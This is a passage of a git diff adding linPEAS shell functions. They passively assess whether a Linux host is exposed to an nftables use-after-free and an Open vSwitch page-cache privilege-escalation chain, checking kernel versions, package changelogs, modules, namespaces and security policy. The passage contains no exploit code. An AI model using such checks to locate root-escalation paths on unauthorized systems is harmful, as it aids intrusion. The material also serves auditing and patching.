-${E} "s,.*,${SED_YELLOW}," + fi + echo "Prerequisites: user namespaces: $ns53264_userns; act_gact: $ns53264_gact; cls_flower: $ns53264_flower" | sed -${E} "s,.*,${SED_LIGHT_CYAN}," + if [ -n "$ns53264_package" ]; then + echo "Running kernel package: $ns53264_package${ns53264_package_version:+ ($ns53264_package_version)}; no local fix marker or known fixed package boundary was found" + else + echo "Running kernel package could not be identified; vendor backports must be verified" + fi + echo "The public exploit is build-specific. Install the vendor kernel update; disabling unprivileged user namespaces is only a configuration mitigation." +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkNfTablesCVE202623111.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkNfTablesCVE202623111.sh new file mode 100644 index 00000000..9a05f3ef --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkNfTablesCVE202623111.sh @@ -0,0 +1,370 @@ +# Title: Functions - checkNfTablesCVE202623111 +# ID: checkNfTablesCVE202623111 +# Author: HT Bot +# Last Update: 01-10-2026 +# Description: Passively identify Linux systems that may expose the nftables catchall verdict-map UAF in CVE-2026-23111. +# License: GNU GPL +# Version: 1.0 +# Mitre: T1068 +# Functions Used: print_3title, print_info +# Global Variables: $E, $ROOT_FOLDER, $SED_GREEN, $SED_LIGHT_CYAN, $SED_RED_YELLOW, $SED_YELLOW +# Initial Functions: +# Generated Global Variables: $nft23111_apparmor, $nft23111_apparmor_restrict, $nft23111_base, $nft23111_build, $nft23111_candidate, $nft23111_caps, $nft23111_caps_decoded, $nft23111_cfg, $nft23111_cfg_data, $nft23111_codename, $nft23111_distro, $nft23111_fixed_pkg, $nft23111_kernel, $nft23111_kernel_status, $nft23111_major, $nft23111_minor, $nft23111_mod, $nft23111_mod_state, $nft23111_modules_builtin, $nft23111_modules_dep, $nft23111_modules_disabled, $nft23111_netns, $nft23111_netns_max, $nft23111_nf_tables, $nft23111_os_id, $nft23111_os_release, $nft23111_package, $nft23111_package_source, $nft23111_package_status, $nft23111_package_version, $nft23111_patch, $nft23111_pipapo, $nft23111_rc, $nft23111_root, $nft23111_rule, $nft23111_seccomp, $nft23111_selinux, $nft23111_status_file, $nft23111_uid, $nft23111_userns, $nft23111_userns_clone, $nft23111_userns_max +# Fat linpeas: 0 +# Small linpeas: 1 + + +nft23111_kernel_status_for_release() { + nft23111_kernel="$1" + nft23111_base="${nft23111_kernel%%-*}" + nft23111_major="$(printf '%s' "$nft23111_base" | cut -d. -f1)" + nft23111_minor="$(printf '%s' "$nft23111_base" | cut -d. -f2)" + nft23111_patch="$(printf '%s' "$nft23111_base" | cut -d. -f3)" + [ -n "$nft23111_patch" ] || nft23111_patch=0 + nft23111_rc="$(printf '%s' "$nft23111_kernel" | sed -n 's/.*-rc\([0-9][0-9]*\).*/\1/p')" + + case "$nft23111_major:$nft23111_minor:$nft23111_patch" in + *[!0-9:]*|::*|*:|:*) echo "unknown"; return ;; + esac + + # The Linux kernel CVE record lists backported introductions on old stable + # branches, so comparing only against upstream 6.19 would be inaccurate. + case "$nft23111_major.$nft23111_minor" in + 4.19) [ "$nft23111_patch" -ge 316 ] && echo "affected" || echo "unaffected" ;; + 5.4) [ "$nft23111_patch" -ge 262 ] && echo "affected" || echo "unaffected" ;; + 5.10) [ "$nft23111_patch" -ge 188 ] && echo "affected" || echo "unaffected" ;; + 5.15) + if [ "$nft23111_patch" -lt 121 ]; then echo "unaffected" + elif [ "$nft23111_patch" -lt 200 ]; then echo "affected" + else echo "fixed"; fi + ;; + 6.1) + if [ "$nft23111_patch" -lt 36 ]; then echo "unaffected" + elif [ "$nft23111_patch" -lt 163 ]; then echo "affected" + else echo "fixed"; fi + ;; + 6.2) echo "unaffected" ;; + 6.3) [ "$nft23111_patch" -ge 10 ] && echo "affected" || echo "unaffected" ;; + 6.4|6.5|6.7|6.8|6.9|6.10|6.11|6.13|6.14|6.15|6.16|6.17) echo "affected" ;; + 6.6) [ "$nft23111_patch" -ge 124 ] && echo "fixed" || echo "affected" ;; + 6.12) [ "$nft23111_patch" -ge 70 ] && echo "fixed" || echo "affected" ;; + 6.18) [ "$nft23111_patch" -ge 10 ] && echo "fixed" || echo "affected" ;; + *) + if [ "$nft23111_major" -lt 4 ] \ + || { [ "$nft23111_major" -eq 4 ] && [ "$nft23111_minor" -lt 19 ]; }; then + echo "unaffected" + elif [ "$nft23111_major" -eq 6 ] && [ "$nft23111_minor" -eq 19 ] && [ -n "$nft23111_rc" ]; then + echo "affected" + elif [ "$nft23111_major" -gt 6 ] \ + || { [ "$nft23111_major" -eq 6 ] && [ "$nft23111_minor" -ge 19 ]; }; then + echo "fixed" + else + echo "unaffected" + fi + ;; + esac +} + +nft23111_module_is_hard_disabled() { + nft23111_mod="$1" + for nft23111_rule in \ + "${nft23111_root}"etc/modprobe.d/*.conf \ + "${nft23111_root}"run/modprobe.d/*.conf \ + "${nft23111_root}"usr/lib/modprobe.d/*.conf \ + "${nft23111_root}"lib/modprobe.d/*.conf; do + [ -r "$nft23111_rule" ] || continue + grep -Eq "^[[:space:]]*install[[:space:]]+${nft23111_mod}[[:space:]]+(/usr)?/bin/(true|false)([[:space:]#]|$)" "$nft23111_rule" 2>/dev/null \ + && return 0 + done + return 1 +} + +nft23111_module_state() { + nft23111_mod="$1" + nft23111_rule="$2" + nft23111_mod_state="unknown" + + if printf '%s\n' "$nft23111_cfg_data" | grep -q "^${nft23111_rule}=y$"; then + nft23111_mod_state="built-in" + elif printf '%s\n' "$nft23111_cfg_data" | grep -q "^${nft23111_rule}=m$"; then + nft23111_mod_state="module" + elif printf '%s\n' "$nft23111_cfg_data" | grep -Eq "^# ${nft23111_rule} is not set$|^${nft23111_rule}=n$"; then + nft23111_mod_state="disabled" + fi + + if [ -d "${nft23111_root}sys/module/${nft23111_mod}" ] \ + || grep -q "^${nft23111_mod}[[:space:]]" "${nft23111_root}proc/modules" 2>/dev/null; then + nft23111_mod_state="loaded" + elif grep -Eq "(^|/)${nft23111_mod}\.ko(\.(gz|xz|zst))?$" "$nft23111_modules_builtin" 2>/dev/null; then + nft23111_mod_state="built-in" + elif grep -Eq "(^|/)${nft23111_mod}\.ko(\.(gz|xz|zst))?:" "$nft23111_modules_dep" 2>/dev/null; then + nft23111_mod_state="module" + elif [ "$nft23111_mod_state" = "unknown" ] && [ "$nft23111_root" = "/" ] \ + && command -v modinfo >/dev/null 2>&1; then + nft23111_candidate="$(modinfo -n "$nft23111_mod" 2>/dev/null)" + case "$nft23111_candidate" in + "") ;; + "(builtin)") nft23111_mod_state="built-in" ;; + *) nft23111_mod_state="module" ;; + esac + fi + + if [ "$nft23111_mod_state" = "module" ] \ + && { [ "$nft23111_modules_disabled" = "1" ] || nft23111_module_is_hard_disabled "$nft23111_mod"; }; then + nft23111_mod_state="unavailable" + fi + + printf '%s' "$nft23111_mod_state" +} + +nft23111_collect_package_status() { + nft23111_fixed_pkg="no" + nft23111_package="" + nft23111_package_source="" + nft23111_package_status="unknown" + nft23111_package_version="" + + # Package-manager databases below describe only the live root. + [ "$nft23111_root" = "/" ] || return + + if command -v dpkg-query >/dev/null 2>&1; then + nft23111_package="$(dpkg-query -S "/boot/vmlinuz-$nft23111_kernel" 2>/dev/null | sed 's/: .*//' | head -n1)" + [ -n "$nft23111_package" ] || nft23111_package="$(dpkg-query -S "/lib/modules/$nft23111_kernel" 2>/dev/null | sed 's/: .*//' | head -n1)" + if [ -n "$nft23111_package" ]; then + nft23111_package_version="$(dpkg-query -W -f='$''{Version}\n' "$nft23111_package" 2>/dev/null | head -n1)" + nft23111_package_source="$(dpkg-query -W -f='$''{source:Package}\n' "$nft23111_package" 2>/dev/null | head -n1 | sed 's/^src://')" + + for nft23111_candidate in \ + /usr/share/doc/"$nft23111_package"/changelog* \ + /usr/share/doc/"$nft23111_package_source"/changelog*; do + [ -r "$nft23111_candidate" ] || continue + case "$nft23111_candidate" in + *.gz) command -v gzip >/dev/null 2>&1 && gzip -cd "$nft23111_candidate" 2>/dev/null ;; + *) cat "$nft23111_candidate" 2>/dev/null ;; + esac + done | grep -Eiq 'CVE-2026-23111|f41c5d151078|8c760ba4e36c|b9b6573421de|42c574c1504a|1444ff890b46|8b68a45f9722|fix inverted genmask check in nft_map_catchall_activate' \ + && nft23111_fixed_pkg="yes" + + if [ "$nft23111_fixed_pkg" = "yes" ]; then + nft23111_package_status="fixed" + return + fi + + if command -v dpkg >/dev/null 2>&1; then + if [ "$nft23111_os_id" = "debian" ]; then + case "$nft23111_codename:$nft23111_package_source" in + bullseye:linux-6.1) + dpkg --compare-versions "$nft23111_package_version" ge '6.1.164-1~deb11u1' \ + && nft23111_package_status="fixed" || nft23111_package_status="vulnerable" + ;; + bookworm:linux) + dpkg --compare-versions "$nft23111_package_version" ge '6.1.164-1' \ + && nft23111_package_status="fixed" || nft23111_package_status="vulnerable" + ;; + trixie:linux) + dpkg --compare-versions "$nft23111_package_version" ge '6.12.73-1' \ + && nft23111_package_status="fixed" || nft23111_package_status="vulnerable" + ;; + forky:linux|sid:linux) + dpkg --compare-versions "$nft23111_package_version" ge '6.18.10-1' \ + && nft23111_package_status="fixed" || nft23111_package_status="vulnerable" + ;; + esac + elif [ "$nft23111_os_id" = "ubuntu" ]; then + case "$nft23111_codename:$nft23111_package_source" in + focal:linux) nft23111_package_status="not-affected" ;; + jammy:linux) nft23111_package_status="vulnerable" ;; + noble:linux) + dpkg --compare-versions "$nft23111_package_version" ge '6.8.0-107.107' \ + && nft23111_package_status="fixed" || nft23111_package_status="vulnerable" + ;; + questing:linux) + dpkg --compare-versions "$nft23111_package_version" ge '6.17.0-20.20' \ + && nft23111_package_status="fixed" || nft23111_package_status="vulnerable" + ;; + resolute:linux) nft23111_package_status="not-affected" ;; + jammy:linux-hwe-6.8) + dpkg --compare-versions "$nft23111_package_version" ge '6.8.0-107.107~22.04.1' \ + && nft23111_package_status="fixed" || nft23111_package_status="vulnerable" + ;; + esac + fi + fi + fi + elif command -v rpm >/dev/null 2>&1; then + nft23111_package="$(rpm -q --whatprovides "kernel-uname-r = $nft23111_kernel" 2>/dev/null | head -n1)" + case "$nft23111_package" in + ''|no\ package*) nft23111_package="" ;; + *) + nft23111_package_version="$(rpm -q --qf '%{VERSION}-%{RELEASE}\n' "$nft23111_package" 2>/dev/null | head -n1)" + nft23111_package_source="kernel" + rpm -q --changelog "$nft23111_package" 2>/dev/null \ + | grep -Eiq 'CVE-2026-23111|f41c5d151078|8c760ba4e36c|b9b6573421de|42c574c1504a|1444ff890b46|8b68a45f9722|fix inverted genmask check in nft_map_catchall_activate' \ + && nft23111_package_status="fixed" + ;; + esac + fi +} + +checkNfTablesCVE202623111() { + [ "$(uname -s 2>/dev/null)" = "Linux" ] || return 0 + + nft23111_root="${ROOT_FOLDER:-/}" + case "$nft23111_root" in + */) ;; + *) nft23111_root="${nft23111_root}/" ;; + esac + + nft23111_kernel="$(cat "${nft23111_root}proc/sys/kernel/osrelease" 2>/dev/null)" + [ -n "$nft23111_kernel" ] || nft23111_kernel="$(uname -r 2>/dev/null)" + nft23111_build="$(cat "${nft23111_root}proc/version" 2>/dev/null)" + [ -n "$nft23111_build" ] || nft23111_build="$(uname -a 2>/dev/null)" + nft23111_kernel_status="$(nft23111_kernel_status_for_release "$nft23111_kernel")" + + nft23111_os_release="${nft23111_root}etc/os-release" + nft23111_os_id="$(sed -nE 's/^ID="?([^" ]+)"?$/\1/p' "$nft23111_os_release" 2>/dev/null | head -n1)" + nft23111_codename="$(sed -nE 's/^VERSION_CODENAME="?([^" ]+)"?$/\1/p' "$nft23111_os_release" 2>/dev/null | head -n1)" + nft23111_distro="$(sed -nE 's/^PRETTY_NAME="?([^"].*)"?$/\1/p' "$nft23111_os_release" 2>/dev/null | head -n1 | sed 's/"$//')" + nft23111_collect_package_status + + print_3title "nftables catchall verdict-map UAF (CVE-2026-23111)" "T1068" + print_info "https://www.cve.org/CVERecord?id=CVE-2026-23111" + print_info "https://git.kernel.org/linus/f41c5d151078c5348271ffaf8e7410d96f2d82f8" + print_info "https://blog.exodusintel.com/2026/06/08/off-by-exploiting-a-use-after-free-in-the-linux-kernel/" + echo "Kernel release: $nft23111_kernel" + echo "Kernel build: ${nft23111_build:-unknown}" + echo "Distribution: ${nft23111_distro:-unknown}${nft23111_codename:+ ($nft23111_codename)}" + if [ -n "$nft23111_package" ]; then + echo "Running kernel package: $nft23111_package${nft23111_package_source:+ (source: $nft23111_package_source)} ${nft23111_package_version:-unknown}" + else + echo "Running kernel package: not identified" + fi + + case "$nft23111_package_status:$nft23111_kernel_status" in + fixed:*) + echo "Vendor package evidence: FIXED for CVE-2026-23111" | sed -${E} "s,.*,${SED_GREEN}," + return 0 + ;; + not-affected:*) + echo "Vendor status: this kernel package line is NOT AFFECTED by CVE-2026-23111" | sed -${E} "s,.*,${SED_GREEN}," + return 0 + ;; + *:fixed) + echo "Upstream status: kernel $nft23111_kernel contains the fix by stable-version comparison" | sed -${E} "s,.*,${SED_GREEN}," + return 0 + ;; + *:unaffected) + echo "Upstream status: kernel $nft23111_kernel is outside the introduced ranges" | sed -${E} "s,.*,${SED_GREEN}," + return 0 + ;; + vulnerable:affected) + echo "VULNERABLE to CVE-2026-23111 according to vendor package data; practical exploitability depends on the prerequisites below" | sed -${E} "s,.*,${SED_RED_YELLOW}," + ;; + *:affected) + echo "POTENTIALLY VULNERABLE to CVE-2026-23111 by upstream range; vendor backport status is unavailable" | sed -${E} "s,.*,${SED_YELLOW}," + ;; + *) + echo "Kernel vulnerability status is unknown; prerequisite exposure follows" | sed -${E} "s,.*,${SED_YELLOW}," + ;; + esac + + nft23111_cfg="" + for nft23111_candidate in \ + "${nft23111_root}proc/config.gz" \ + "${nft23111_root}boot/config-${nft23111_kernel}" \ + "${nft23111_root}lib/modules/${nft23111_kernel}/config" \ + "${nft23111_root}lib/modules/${nft23111_kernel}/build/.config" \ + "${nft23111_root}usr/lib/modules/${nft23111_kernel}/build/.config"; do + [ -r "$nft23111_candidate" ] && { nft23111_cfg="$nft23111_candidate"; break; } + done + + nft23111_cfg_data="" + if [ -n "$nft23111_cfg" ]; then + case "$nft23111_cfg" in + *.gz) + if command -v gzip >/dev/null 2>&1; then + nft23111_cfg_data="$(gzip -cd "$nft23111_cfg" 2>/dev/null | grep -E '^((CONFIG_NF_TABLES|CONFIG_NFT_SET_PIPAPO|CONFIG_USER_NS|CONFIG_NET_NS)=|# (CONFIG_NF_TABLES|CONFIG_NFT_SET_PIPAPO|CONFIG_USER_NS|CONFIG_NET_NS) is not set)')" + fi + ;; + *) + nft23111_cfg_data="$(grep -E '^((CONFIG_NF_TABLES|CONFIG_NFT_SET_PIPAPO|CONFIG_USER_NS|CONFIG_NET_NS)=|# (CONFIG_NF_TABLES|CONFIG_NFT_SET_PIPAPO|CONFIG_USER_NS|CONFIG_NET_NS) is not set)' "$nft23111_cfg" 2>/dev/null)" + ;; + esac + fi + + nft23111_modules_dep="${nft23111_root}lib/modules/${nft23111_kernel}/modules.dep" + nft23111_modules_builtin="${nft23111_root}lib/modules/${nft23111_kernel}/modules.builtin" + nft23111_modules_disabled="$(cat "${nft23111_root}proc/sys/kernel/modules_disabled" 2>/dev/null)" + nft23111_nf_tables="$(nft23111_module_state nf_tables CONFIG_NF_TABLES)" + nft23111_pipapo="$(nft23111_module_state nft_set_pipapo CONFIG_NFT_SET_PIPAPO)" + + echo "nftables kernel support: nf_tables=$nft23111_nf_tables, nft_set_pipapo=$nft23111_pipapo" \ + | sed -${E} "s,.*,${SED_LIGHT_CYAN}," + case "$nft23111_nf_tables:$nft23111_pipapo" in + *disabled*|*unavailable*) + echo "Required nftables/pipapo kernel attack surface is unavailable" | sed -${E} "s,.*,${SED_GREEN}," + return 0 + ;; + esac + + nft23111_userns_clone="$(cat "${nft23111_root}proc/sys/kernel/unprivileged_userns_clone" 2>/dev/null)" + nft23111_userns_max="$(cat "${nft23111_root}proc/sys/user/max_user_namespaces" 2>/dev/null)" + nft23111_netns_max="$(cat "${nft23111_root}proc/sys/user/max_net_namespaces" 2>/dev/null)" + nft23111_userns="unknown" + nft23111_netns="unknown" + + if printf '%s\n' "$nft23111_cfg_data" | grep -Eq '^# CONFIG_USER_NS is not set$|^CONFIG_USER_NS=n$' \ + || [ "$nft23111_userns_clone" = "0" ] || [ "$nft23111_userns_max" = "0" ]; then + nft23111_userns="blocked" + elif printf '%s\n' "$nft23111_cfg_data" | grep -q '^CONFIG_USER_NS=y$' \ + || [ "$nft23111_userns_clone" = "1" ] \ + || { [ -n "$nft23111_userns_max" ] && [ "$nft23111_userns_max" != "0" ]; }; then + nft23111_userns="enabled" + fi + + if printf '%s\n' "$nft23111_cfg_data" | grep -Eq '^# CONFIG_NET_NS is not set$|^CONFIG_NET_NS=n$' \ + || [ "$nft23111_netns_max" = "0" ]; then + nft23111_netns="blocked" + elif printf '%s\n' "$nft23111_cfg_data" | grep -q '^CONFIG_NET_NS=y$' \ + || { [ -n "$nft23111_netns_max" ] && [ "$nft23111_netns_max" != "0" ]; }; then + nft23111_netns="enabled" + fi + + echo "Namespace prerequisites: user_ns=$nft23111_userns (unprivileged_userns_clone=${nft23111_userns_clone:-unset}, max=${nft23111_userns_max:-unknown}); net_ns=$nft23111_netns (max=${nft23111_netns_max:-unknown})" + + nft23111_status_file="${nft23111_root}proc/self/status" + nft23111_uid="$(id -u 2>/dev/null)" + nft23111_caps="$(sed -n 's/^CapEff:[[:space:]]*//p' "$nft23111_status_file" 2>/dev/null | head -n1)" + nft23111_caps_decoded="" + if [ "$nft23111_root" = "/" ] && [ -n "$nft23111_caps" ] && command -v capsh >/dev/null 2>&1; then + nft23111_caps_decoded="$(capsh --decode="0x$nft23111_caps" 2>/dev/null | sed 's/^[^=]*=//')" + fi + echo "Current context: uid=${nft23111_uid:-unknown}, CapEff=${nft23111_caps:-unknown}${nft23111_caps_decoded:+ ($nft23111_caps_decoded)}" + + nft23111_apparmor="$(cat "${nft23111_root}proc/self/attr/current" 2>/dev/null)" + nft23111_apparmor_restrict="$(cat "${nft23111_root}proc/sys/kernel/apparmor_restrict_unprivileged_userns" 2>/dev/null)" + nft23111_selinux="unknown" + if [ -r "${nft23111_root}sys/fs/selinux/enforce" ]; then + nft23111_rule="$(cat "${nft23111_root}sys/fs/selinux/enforce" 2>/dev/null)" + [ "$nft23111_rule" = "1" ] && nft23111_selinux="enforcing" + [ "$nft23111_rule" = "0" ] && nft23111_selinux="permissive" + elif [ ! -d "${nft23111_root}sys/fs/selinux" ]; then + nft23111_selinux="disabled" + fi + nft23111_seccomp="$(sed -n 's/^Seccomp:[[:space:]]*//p' "$nft23111_status_file" 2>/dev/null | head -n1)" + echo "Policy context: AppArmor=${nft23111_apparmor:-unconfined/unknown}, AppArmor unprivileged-userns restriction=${nft23111_apparmor_restrict:-unset}, SELinux=$nft23111_selinux, Seccomp=${nft23111_seccomp:-unknown}" + + case "$nft23111_userns:$nft23111_netns" in + *blocked*) + echo "Unprivileged namespace creation appears blocked, reducing exploitability (privileged capabilities or policy bypasses may change this)" | sed -${E} "s,.*,${SED_YELLOW}," + ;; + enabled:enabled) + echo "Required user and network namespace primitives appear available" | sed -${E} "s,.*,${SED_RED_YELLOW}," + ;; + *) + echo "Namespace reachability could not be confirmed passively" | sed -${E} "s,.*,${SED_YELLOW}," + ;; + esac + + echo "Remediation: install a vendor kernel containing upstream commit f41c5d151078c5348271ffaf8e7410d96f2d82f8; restrict unnecessary unprivileged user/network namespaces as defense in depth." +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkOVSPageCacheCVE2026.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkOVSPageCacheCVE2026.sh new file mode 100644 index 00000000..de9f0868 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkOVSPageCacheCVE2026.sh @@ -0,0 +1,294 @@ +# Title: Functions - checkOVSPageCacheCVE2026 +# ID: checkOVSPageCacheCVE2026 +# Author: HT Bot +# Last Update: 27-09-2026 +# Description: Passively correlate the kernel, Open vSwitch, ESP/XFRM, user-namespace, and setuid prerequisites for the CVE-2026-80977/CVE-2026-89487/CVE-2026-90049 page-cache LPE chain. +# License: GNU GPL +# Version: 1.0 +# Mitre: T1068 +# Functions Used: lp_version_lt, print_3title, print_info +# Global Variables: $E, $ROOT_FOLDER, $SED_GREEN, $SED_LIGHT_CYAN, $SED_RED_YELLOW, $SED_YELLOW +# Initial Functions: +# Generated Global Variables: $ovspc_affected, $ovspc_apparmor, $ovspc_base, $ovspc_candidate, $ovspc_candidates, $ovspc_config, $ovspc_config_data, $ovspc_esp4_reachable, $ovspc_esp4_state, $ovspc_esp6_reachable, $ovspc_esp6_state, $ovspc_fixed, $ovspc_genl_state, $ovspc_kernel, $ovspc_kernel_status, $ovspc_magic, $ovspc_major, $ovspc_minor, $ovspc_mod, $ovspc_modules_builtin, $ovspc_modules_dep, $ovspc_modules_disabled, $ovspc_openvswitch_reachable, $ovspc_openvswitch_state, $ovspc_patch, $ovspc_root, $ovspc_rule, $ovspc_symbol, $ovspc_target, $ovspc_userns_clone, $ovspc_userns_max, $ovspc_userns_state, $ovspc_xfrm_reachable, $ovspc_xfrm_state +# Fat linpeas: 0 +# Small linpeas: 1 + + +ovspc_kernel_status_for_release() { + ovspc_kernel="$1" + ovspc_base="${ovspc_kernel%%-*}" + ovspc_major="$(printf '%s' "$ovspc_base" | cut -d. -f1)" + ovspc_minor="$(printf '%s' "$ovspc_base" | cut -d. -f2)" + ovspc_patch="$(printf '%s' "$ovspc_base" | cut -d. -f3)" + [ -n "$ovspc_patch" ] || ovspc_patch=0 + + case "$ovspc_major:$ovspc_minor:$ovspc_patch" in + *[!0-9:]*|::*|*:|:*) echo "unknown"; return ;; + esac + + # The underlying destructive zerocopy handling predates current kernels. + # Old 3.10/3.12 backports are deliberately not flagged: they predate the + # shared-frag/ESP consumer that turns this specific bug into the described LPE. + if lp_version_lt "$ovspc_base" "3.14.0"; then + echo "predates" + return + fi + + # All three fixes are present from 7.3-rc1. On stable branches the last + # member of the series (CVE-2026-90049) determines the safe release. + if ! lp_version_lt "$ovspc_base" "7.3.0"; then + echo "fixed" + return + fi + + ovspc_fixed="" + case "$ovspc_major.$ovspc_minor" in + 5.10) [ "$ovspc_patch" -ge 270 ] && ovspc_fixed="yes" ;; + 5.15) [ "$ovspc_patch" -ge 221 ] && ovspc_fixed="yes" ;; + 6.1) [ "$ovspc_patch" -ge 188 ] && ovspc_fixed="yes" ;; + 6.6) [ "$ovspc_patch" -ge 157 ] && ovspc_fixed="yes" ;; + 6.12) [ "$ovspc_patch" -ge 110 ] && ovspc_fixed="yes" ;; + 6.18) [ "$ovspc_patch" -ge 51 ] && ovspc_fixed="yes" ;; + 7.2) [ "$ovspc_patch" -ge 5 ] && ovspc_fixed="yes" ;; + esac + + if [ "$ovspc_fixed" ]; then + echo "fixed" + else + echo "affected" + fi +} + +ovspc_module_state() { + ovspc_mod="$1" + ovspc_symbol="$2" + + if [ -d "${ovspc_root}sys/module/${ovspc_mod}" ] \ + || grep -q "^${ovspc_mod}[[:space:]]" "${ovspc_root}proc/modules" 2>/dev/null; then + echo "loaded" + return + fi + + if printf '%s\n' "$ovspc_config_data" | grep -q "^${ovspc_symbol}=y$" \ + || grep -Eq "(^|/)${ovspc_mod}\.ko(\.(gz|xz|zst))?$" "$ovspc_modules_builtin" 2>/dev/null; then + echo "built-in" + return + fi + + if printf '%s\n' "$ovspc_config_data" | grep -q "^${ovspc_symbol}=m$" \ + || grep -Eq "(^|/)${ovspc_mod}\.ko(\.(gz|xz|zst))?:" "$ovspc_modules_dep" 2>/dev/null; then + echo "module" + return + fi + + # modinfo does not load a module. Only use it for the live root because its + # path lookup cannot be redirected reliably to ROOT_FOLDER on all systems. + if [ "$ovspc_root" = "/" ] && command -v modinfo >/dev/null 2>&1; then + ovspc_candidate="$(modinfo -n "$ovspc_mod" 2>/dev/null)" + case "$ovspc_candidate" in + "") ;; + "(builtin)") echo "built-in"; return ;; + *) echo "module"; return ;; + esac + fi + + echo "unavailable" +} + +ovspc_module_is_hard_disabled() { + ovspc_mod="$1" + for ovspc_rule in \ + "${ovspc_root}"etc/modprobe.d/*.conf \ + "${ovspc_root}"run/modprobe.d/*.conf \ + "${ovspc_root}"usr/lib/modprobe.d/*.conf \ + "${ovspc_root}"lib/modprobe.d/*.conf; do + [ -r "$ovspc_rule" ] || continue + grep -Eq "^[[:space:]]*install[[:space:]]+${ovspc_mod}[[:space:]]+(/usr)?/bin/(true|false)([[:space:]#]|$)" "$ovspc_rule" 2>/dev/null \ + && return 0 + done + return 1 +} + +ovspc_module_is_reachable() { + case "$2" in + loaded|built-in) return 0 ;; + module) + [ "$ovspc_modules_disabled" = "1" ] && return 1 + ovspc_module_is_hard_disabled "$1" && return 1 + return 0 + ;; + esac + return 1 +} + +checkOVSPageCacheCVE2026() { + [ "$(uname -s 2>/dev/null)" = "Linux" ] || return 0 + + ovspc_root="${ROOT_FOLDER:-/}" + case "$ovspc_root" in + */) ;; + *) ovspc_root="${ovspc_root}/" ;; + esac + + ovspc_kernel="$(cat "${ovspc_root}proc/sys/kernel/osrelease" 2>/dev/null)" + [ "$ovspc_kernel" ] || ovspc_kernel="$(uname -r 2>/dev/null)" + ovspc_kernel_status="$(ovspc_kernel_status_for_release "$ovspc_kernel")" + + print_3title "Open vSwitch forwarded-SKB page-cache LPE (CVE-2026-80977 / CVE-2026-89487 / CVE-2026-90049)" "T1068" + print_info "https://blog.doyensec.com/2026/09/17/ovs.html" + print_info "https://lore.kernel.org/netdev/4B5CCA6E-2C49-4F86-8C4E-E1BE15C16C0A@doyensec.com/T/#t" + + case "$ovspc_kernel_status" in + fixed) + echo "Kernel $ovspc_kernel includes the complete fix series by upstream stable-version comparison" | sed -${E} "s,.*,${SED_GREEN}," + return 0 + ;; + predates) + echo "Kernel $ovspc_kernel predates the known shared-frag/ESP form of this chain" | sed -${E} "s,.*,${SED_GREEN}," + return 0 + ;; + unknown) + echo "Kernel release could not be compared; prerequisite exposure is reported without a vulnerability verdict" | sed -${E} "s,.*,${SED_YELLOW}," + ;; + affected) + echo "Kernel $ovspc_kernel is in an upstream affected range; vendor backports may override this result" | sed -${E} "s,.*,${SED_YELLOW}," + ;; + esac + + ovspc_config="" + for ovspc_candidate in \ + "${ovspc_root}proc/config.gz" \ + "${ovspc_root}boot/config-${ovspc_kernel}" \ + "${ovspc_root}lib/modules/${ovspc_kernel}/config"; do + [ -r "$ovspc_candidate" ] && { ovspc_config="$ovspc_candidate"; break; } + done + + ovspc_config_data="" + if [ "$ovspc_config" ]; then + case "$ovspc_config" in + *.gz) + if command -v gzip >/dev/null 2>&1; then + ovspc_config_data="$(gzip -cd "$ovspc_config" 2>/dev/null | grep -E '^((CONFIG_OPENVSWITCH|CONFIG_INET_ESP|CONFIG_INET6_ESP|CONFIG_XFRM_USER|CONFIG_USER_NS|CONFIG_NET|CONFIG_GENERIC_NETLINK)=|# (CONFIG_OPENVSWITCH|CONFIG_INET_ESP|CONFIG_INET6_ESP|CONFIG_XFRM_USER|CONFIG_USER_NS|CONFIG_NET|CONFIG_GENERIC_NETLINK) is not set)')" + fi + ;; + *) + ovspc_config_data="$(grep -E '^((CONFIG_OPENVSWITCH|CONFIG_INET_ESP|CONFIG_INET6_ESP|CONFIG_XFRM_USER|CONFIG_USER_NS|CONFIG_NET|CONFIG_GENERIC_NETLINK)=|# (CONFIG_OPENVSWITCH|CONFIG_INET_ESP|CONFIG_INET6_ESP|CONFIG_XFRM_USER|CONFIG_USER_NS|CONFIG_NET|CONFIG_GENERIC_NETLINK) is not set)' "$ovspc_config" 2>/dev/null)" + ;; + esac + fi + + ovspc_modules_dep="${ovspc_root}lib/modules/${ovspc_kernel}/modules.dep" + ovspc_modules_builtin="${ovspc_root}lib/modules/${ovspc_kernel}/modules.builtin" + ovspc_modules_disabled="$(cat "${ovspc_root}proc/sys/kernel/modules_disabled" 2>/dev/null)" + + ovspc_openvswitch_state="$(ovspc_module_state openvswitch CONFIG_OPENVSWITCH)" + ovspc_esp4_state="$(ovspc_module_state esp4 CONFIG_INET_ESP)" + ovspc_esp6_state="$(ovspc_module_state esp6 CONFIG_INET6_ESP)" + ovspc_xfrm_state="$(ovspc_module_state xfrm_user CONFIG_XFRM_USER)" + + ovspc_openvswitch_reachable="" + ovspc_esp4_reachable="" + ovspc_esp6_reachable="" + ovspc_xfrm_reachable="" + ovspc_module_is_reachable openvswitch "$ovspc_openvswitch_state" && ovspc_openvswitch_reachable="yes" + ovspc_module_is_reachable esp4 "$ovspc_esp4_state" && ovspc_esp4_reachable="yes" + ovspc_module_is_reachable esp6 "$ovspc_esp6_state" && ovspc_esp6_reachable="yes" + ovspc_module_is_reachable xfrm_user "$ovspc_xfrm_state" && ovspc_xfrm_reachable="yes" + + ovspc_genl_state="unknown" + if printf '%s\n' "$ovspc_config_data" | grep -q '^CONFIG_NET=y$' \ + && printf '%s\n' "$ovspc_config_data" | grep -q '^CONFIG_GENERIC_NETLINK=y$'; then + ovspc_genl_state="enabled" + elif printf '%s\n' "$ovspc_config_data" | grep -Eq '^# (CONFIG_NET|CONFIG_GENERIC_NETLINK) is not set$'; then + ovspc_genl_state="unavailable" + elif [ "$ovspc_openvswitch_state" != "unavailable" ]; then + # A present OVS datapath depends on generic netlink, even when the running + # kernel configuration is not readable to the current user. + ovspc_genl_state="inferred enabled" + fi + + if [ 